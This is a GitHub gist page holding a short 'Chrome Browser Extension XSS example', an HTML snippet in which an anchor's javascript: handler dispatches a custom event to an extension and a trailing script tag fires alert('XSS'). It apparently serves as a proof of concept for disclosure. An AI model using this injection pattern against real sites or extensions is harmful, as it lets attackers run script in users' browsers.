Skip to content

Instantly share code, notes, and snippets.

@borski
Last active December 15, 2015 13:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save borski/5265313 to your computer and use it in GitHub Desktop.
Save borski/5265313 to your computer and use it in GitHub Desktop.
Chrome Browser Extension XSS example
<a class="_company_extension" a="" href="#" #tinfoil"="" "javascript:var e = document.createEvent(&quot;CustomEvent&quot;); e.initCustomEvent(&quot;extensionEvent&quot;, true, true, {type: &quot;hash&quot;, value: &quot;#tinfoil&quot;}); document.body.dispatchEvent(e); return false;">
#tinfoil
</a><script>alert(‘XSS’)</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment